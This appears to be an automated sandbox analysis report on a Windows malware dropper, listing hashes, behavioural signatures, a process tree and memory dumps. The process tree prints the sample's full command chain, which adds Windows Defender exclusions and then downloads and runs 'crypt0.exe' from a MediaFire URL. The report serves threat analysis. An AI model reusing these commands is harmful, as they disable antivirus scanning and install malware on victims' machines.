2d8a407e8d61e977bd167a8505205437562c52ca60501af476d2e84180dc5132

Analysis

max time kernel
152s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2024, 08:42

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General

Target

b85059c799ed760de71b3c35021d787c.exe
Size

3KB
MD5

b85059c799ed760de71b3c35021d787c
SHA1

46daac66cfd1ace98efa557cc2b739a444dd76f4
SHA256

2d8a407e8d61e977bd167a8505205437562c52ca60501af476d2e84180dc5132
SHA512

bf70487924ef752f6bdf0b43de85fa35f5bb9d9170a575efc549c1d499a1f52b0edd00f4578f7a3252f3bb011e119c52eb82d1bd22a7696180612b9fc54bfe25

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://download1487.mediafire.com/y9nyrr6fzr5g/x4zfbcmgp29k79f/crypt0.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
50	3224	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
4900	powershell.exe
4900	powershell.exe
4900	powershell.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	3224	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 3616	3688	b85059c799ed760de71b3c35021d787c.exe	95
PID 3688 wrote to memory of 3616	3688	b85059c799ed760de71b3c35021d787c.exe	95
PID 3688 wrote to memory of 3616	3688	b85059c799ed760de71b3c35021d787c.exe	95
PID 3616 wrote to memory of 4748	3616	cmd.exe	98
PID 3616 wrote to memory of 4748	3616	cmd.exe	98
PID 3616 wrote to memory of 4748	3616	cmd.exe	98
PID 3616 wrote to memory of 4900	3616	cmd.exe	107
PID 3616 wrote to memory of 4900	3616	cmd.exe	107
PID 3616 wrote to memory of 4900	3616	cmd.exe	107
PID 3616 wrote to memory of 3224	3616	cmd.exe	110
PID 3616 wrote to memory of 3224	3616	cmd.exe	110
PID 3616 wrote to memory of 3224	3616	cmd.exe	110
PID 3616 wrote to memory of 1048	3616	cmd.exe	114
PID 3616 wrote to memory of 1048	3616	cmd.exe	114
PID 3616 wrote to memory of 1048	3616	cmd.exe	114

C:\Users\Admin\AppData\Local\Temp\b85059c799ed760de71b3c35021d787c.exe
"C:\Users\Admin\AppData\Local\Temp\b85059c799ed760de71b3c35021d787c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & powershell (New-Object System.Net.WebClient).DownloadFile('https://download1487.mediafire.com/y9nyrr6fzr5g/x4zfbcmgp29k79f/crypt0.exe', (Join-Path -Path $env:Temp -ChildPath 'crypt0.exe')) & powershell Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'crypt0.exe') & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4748
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('https://download1487.mediafire.com/y9nyrr6fzr5g/x4zfbcmgp29k79f/crypt0.exe', (Join-Path -Path $env:Temp -ChildPath 'crypt0.exe'))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'crypt0.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1420 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8
1⤵
PID:4264

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
bc60ef9b16460d3c16888adf635e6f6f

SHA1
6403f4b0e6eb34d8252e53d90b52e00177063ba1

SHA256
c9f921e8dbe8065369471605a9cdc83f3cc1a217605cf17e5c37ae16b5b5fc6e

SHA512
1bcb067bb11291f89230da174adef86aca3378d5f5b66cbb752e69351fd0e27ae0006a21c536f5a160fe6a69f056c32c3a522f856e26a631a11505a10b6c3571

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
147f5be6faf9019237423928f0cf2e97

SHA1
7a64287c7b82414173a75ae684b5cf904563cc0b

SHA256
319a98d6b6368e21f9e5040639f6e0861ec43a743b779ff1962e1c7fe93afc32

SHA512
0f2cfe21178dc1b90e63eb051fdfd8960f6bd41cc1f4e8c5ad1ce8003c1d5284214b3e3031688cfca2fbc5acb03f1b249203c0024a771921689f5afcb7f92127

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
b3ef9b0728d9b021336e77304df9ade8

SHA1
60dc61953bdd01139038384413338af06386532d

SHA256
82c9ea5fd8237abd4bcbcbabc0c5ce408c1af5f1a4e731ecb7892527ecb608a6

SHA512
3eb516c1500970c91db578be488e20370712ba415612d7719e205df258582c0a6a1a746778d3ad61456480da6504eeca60c49fe485c7f263fb235a9d5fdb1834

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pke5aj55.o53.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1048-98-0x0000000002910000-0x0000000002920000-memory.dmp

Filesize
64KB

Download
memory/1048-96-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/1048-97-0x0000000002910000-0x0000000002920000-memory.dmp

Filesize
64KB

Download
memory/1048-111-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/3224-95-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/3224-93-0x0000000004BE0000-0x0000000004BF0000-memory.dmp

Filesize
64KB

Download
memory/3224-92-0x0000000004BE0000-0x0000000004BF0000-memory.dmp

Filesize
64KB

Download
memory/3224-91-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/3224-89-0x0000000008380000-0x0000000008924000-memory.dmp

Filesize
5.6MB

Download
memory/3224-88-0x00000000070D0000-0x00000000070F2000-memory.dmp

Filesize
136KB

Download
memory/3224-79-0x0000000005850000-0x0000000005BA4000-memory.dmp

Filesize
3.3MB

Download
memory/3224-76-0x0000000004BE0000-0x0000000004BF0000-memory.dmp

Filesize
64KB

Download
memory/3224-75-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/4748-21-0x000000007F0D0000-0x000000007F0E0000-memory.dmp

Filesize
64KB

Download
memory/4748-18-0x0000000005A90000-0x0000000005AAE000-memory.dmp

Filesize
120KB

Download
memory/4748-38-0x00000000070C0000-0x0000000007156000-memory.dmp

Filesize
600KB

Download
memory/4748-39-0x0000000007030000-0x0000000007041000-memory.dmp

Filesize
68KB

Download
memory/4748-40-0x0000000007070000-0x000000000707E000-memory.dmp

Filesize
56KB

Download
memory/4748-41-0x0000000007080000-0x0000000007094000-memory.dmp

Filesize
80KB

Download
memory/4748-42-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/4748-43-0x00000000070B0000-0x00000000070B8000-memory.dmp

Filesize
32KB

Download
memory/4748-46-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/4748-36-0x0000000006E30000-0x0000000006E4A000-memory.dmp

Filesize
104KB

Download
memory/4748-1-0x00000000025A0000-0x00000000025B0000-memory.dmp

Filesize
64KB

Download
memory/4748-2-0x0000000000CA0000-0x0000000000CD6000-memory.dmp

Filesize
216KB

Download
memory/4748-3-0x00000000025A0000-0x00000000025B0000-memory.dmp

Filesize
64KB

Download
memory/4748-4-0x0000000004C10000-0x0000000005238000-memory.dmp

Filesize
6.2MB

Download
memory/4748-35-0x0000000007490000-0x0000000007B0A000-memory.dmp

Filesize
6.5MB

Download
memory/4748-5-0x0000000004B60000-0x0000000004B82000-memory.dmp

Filesize
136KB

Download
memory/4748-6-0x0000000005240000-0x00000000052A6000-memory.dmp

Filesize
408KB

Download
memory/4748-7-0x00000000052B0000-0x0000000005316000-memory.dmp

Filesize
408KB

Download
memory/4748-34-0x0000000006CF0000-0x0000000006D93000-memory.dmp

Filesize
652KB

Download
memory/4748-33-0x0000000006040000-0x000000000605E000-memory.dmp

Filesize
120KB

Download
memory/4748-23-0x0000000070DD0000-0x0000000070E1C000-memory.dmp

Filesize
304KB

Download
memory/4748-22-0x0000000006060000-0x0000000006092000-memory.dmp

Filesize
200KB

Download
memory/4748-0-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/4748-20-0x00000000025A0000-0x00000000025B0000-memory.dmp

Filesize
64KB

Download
memory/4748-19-0x0000000005B60000-0x0000000005BAC000-memory.dmp

Filesize
304KB

Download
memory/4748-37-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

Filesize
40KB

Download
memory/4748-13-0x00000000054E0000-0x0000000005834000-memory.dmp

Filesize
3.3MB

Download
memory/4900-74-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download
memory/4900-63-0x0000000070DD0000-0x0000000070E1C000-memory.dmp

Filesize
304KB

Download
memory/4900-62-0x0000000003160000-0x0000000003170000-memory.dmp

Filesize
64KB

Download
memory/4900-60-0x0000000006190000-0x00000000064E4000-memory.dmp

Filesize
3.3MB

Download
memory/4900-50-0x0000000003160000-0x0000000003170000-memory.dmp

Filesize
64KB

Download
memory/4900-49-0x0000000003160000-0x0000000003170000-memory.dmp

Filesize
64KB

Download
memory/4900-48-0x0000000074FB0000-0x0000000075760000-memory.dmp

Filesize
7.7MB

Download